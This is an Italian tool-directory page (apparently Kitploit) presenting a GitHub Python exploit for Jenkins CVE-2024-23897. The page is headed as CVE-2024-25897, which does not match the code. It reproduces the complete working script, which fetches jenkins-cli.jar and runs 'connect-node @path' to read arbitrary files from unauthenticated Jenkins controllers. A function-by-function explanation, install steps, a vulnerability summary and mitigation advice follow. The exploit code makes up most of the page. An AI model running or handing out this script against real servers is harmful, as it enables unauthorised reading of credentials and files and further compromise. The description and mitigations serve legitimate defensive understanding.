Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-25897 — exploit che vulnera Jenkins realizzato in Python | Kitploit
Strumenti/GitHubGitHub/i-100-user/cve-2024-25897
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

exploit che vulnera Jenkins realizzato in Python

Vedi Repository
212 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

banner

img1

parametri ip, porta, percorso

img2

output dell'exploit

img3

Pannello di aiuto

spiegazione dell'exploit

Ecco la spiegazione del codice in Markdown:

Spiegazione del Codice

Questo script è progettato per sfruttare una vulnerabilità specifica in Jenkins (CVE-2024-23897). Permette di scaricare un file JAR da un server Jenkins ed eseguire un payload per connettere un nodo Jenkins. Di seguito viene spiegata ogni parte del codice:

Importazione dei Moduli

root@kitploit:~
Scarica lo strumento
import argparse import requests import os import subprocess import sys
  • argparse: Per gestire gli argomenti della riga di comando.
  • requests: Per effettuare richieste HTTP.
  • os: Per interagire con il sistema operativo.
  • subprocess: Per eseguire comandi di sistema.
  • sys: Per interagire con l'interprete Python.

Funzione banner

root@kitploit:~
def banner():
    """
    Stampa un banner decorativo per lo strumento.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

Questa funzione stampa un banner decorativo all'avvio dello script.

Funzione scarica_jar

root@kitploit:~
def scarica_jar(ip, porta):
    """
    Scarica il file jenkins-cli.jar dal server Jenkins specificato.

    Args:
        ip (str): Indirizzo IP del server Jenkins.
        porta (str): Porta del server Jenkins.

    Returns:
        bool: True se il download è riuscito, False altrimenti.
    """
    url = f"http://{ip}:{porta}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as file_jar:
                file_jar.write(response.content)
            return True
        else:
            print(f"\n[-] Impossibile scaricare il file. Codice di stato: {response.status_code}")
            return False
    except requests.RequestException as errore_http:
        print(f"\n[-] Errore durante la richiesta: {errore_http}")
        return False

Questa funzione scarica il file jenkins-cli.jar dal server Jenkins specificato dall'indirizzo IP e dalla porta. Se il download ha successo, salva il file sul sistema e restituisce True; altrimenti restituisce False.

Funzione attack_payload

root@kitploit:~
def attack_payload(ip, porta, percorso):
    """
    Esegue il payload per connettere un nodo Jenkins.

    Args:
        ip (str): Indirizzo IP del server Jenkins.
        porta (str): Porta del server Jenkins.
        percorso (str): Percorso per leggere il file.
    """
    file_jar = "jenkins-cli.jar"
    payload = f"java -jar {file_jar} -s http://{ip}:{porta}/ -http connect-node @{percorso}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(file_jar)
    except subprocess.CalledProcessError as errore_payload:
        print(f"\n[-] Errore durante il tentativo di connettere il nodo: {errore_payload}\n")

Questa funzione esegue un comando per connettere un nodo Jenkins utilizzando il file jenkins-cli.jar. Dopo l'esecuzione del comando, elimina il file JAR. In caso di errore, mostra un messaggio di errore.

Funzione main

root@kitploit:~
def main():
    """
    Funzione principale che analizza gli argomenti ed esegue le funzioni corrispondenti.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit per sfruttare CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Indirizzo IP del server Jenkins\n")
    parser.add_argument("porta", type=str, help="\n[+] Porta del server Jenkins\n")
    parser.add_argument("percorso", type=str, help="\n[+] Percorso per leggere il file\n")
    args = parser.parse_args()

    ip = args.ip
    porta = args.porta
    percorso = args.percorso

    banner()

    if scarica_jar(ip, porta):
        attack_payload(ip, porta, percorso)
    else:
        sys.exit(1)

La funzione principale dello script:

  1. Analizza gli argomenti della riga di comando (ip, porta, percorso).
  2. Chiama la funzione banner per stampare il banner.
  3. Chiama la funzione scarica_jar per scaricare il file JAR.
  4. Se il download ha successo, chiama la funzione attack_payload per eseguire il payload; altrimenti termina lo script con codice di uscita 1.

Esecuzione dello Script

root@kitploit:~
if __name__ == '__main__':
    main()

Questo blocco assicura che la funzione main venga eseguita solo se lo script viene eseguito direttamente, non se viene importato come modulo.

Riepilogo

Questo script è uno strumento per sfruttare una vulnerabilità in Jenkins. Scarica un file JAR da un server Jenkins e utilizza quel file per eseguire un payload che connette un nodo Jenkins. Gli argomenti necessari (ip, porta, percorso) vengono forniti tramite la riga di comando.

Ecco un elenco delle librerie necessarie insieme ai comandi pip install per ciascuna:

Librerie Necessarie

  • argparse: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.

  • requests: Per effettuare richieste HTTP.

    root@kitploit:~
    pip install requests
    
  • os: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.

  • subprocess: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.

  • sys: Questa libreria è inclusa nella libreria standard di Python, quindi non è necessario installarla.

Installazione delle Librerie

root@kitploit:~
pip install requests

Il CVE-2024-23897 è una vulnerabilità presente in Jenkins, un popolare strumento di automazione e CI/CD. Questa vulnerabilità interessa Jenkins nelle versioni 2.441 e precedenti, oltre alle versioni LTS 2.426.2 e precedenti.

Descrizione della vulnerabilità:

  • Funzione interessata: Analizzatore dei comandi CLI di Jenkins.
  • Problema: Non disabilita una funzione che consente di sostituire un carattere '@' seguito da un percorso di file in un argomento con il contenuto di quel file.
  • Impatto: Consente ad attaccanti non autenticati di leggere file arbitrari nel file system del controller Jenkins.
  • Rischio: Un attaccante può accedere a informazioni sensibili memorizzate sul server Jenkins, il che potrebbe portare a compromettere ulteriormente il sistema.

Esempio di sfruttamento:

  1. Un attaccante invia un comando CLI a Jenkins che include @/percorso/del/file.
  2. L'analizzatore dei comandi di Jenkins interpreta @/percorso/del/file e sostituisce questo argomento con il contenuto del file specificato.
  3. L'attaccante ottiene il contenuto del file senza necessità di autenticazione.

Misure di mitigazione:

  • Aggiornare Jenkins: Installare versioni più recenti che abbiano corretto questa vulnerabilità.
  • Configurazioni di sicurezza: Rivedere e limitare l'accesso al CLI di Jenkins, assicurandosi che solo utenti autenticati e fidati possano utilizzare questa funzionalità.

Aggiornare e configurare adeguatamente Jenkins è cruciale per proteggere il sistema da questa vulnerabilità.

Python Icona Linux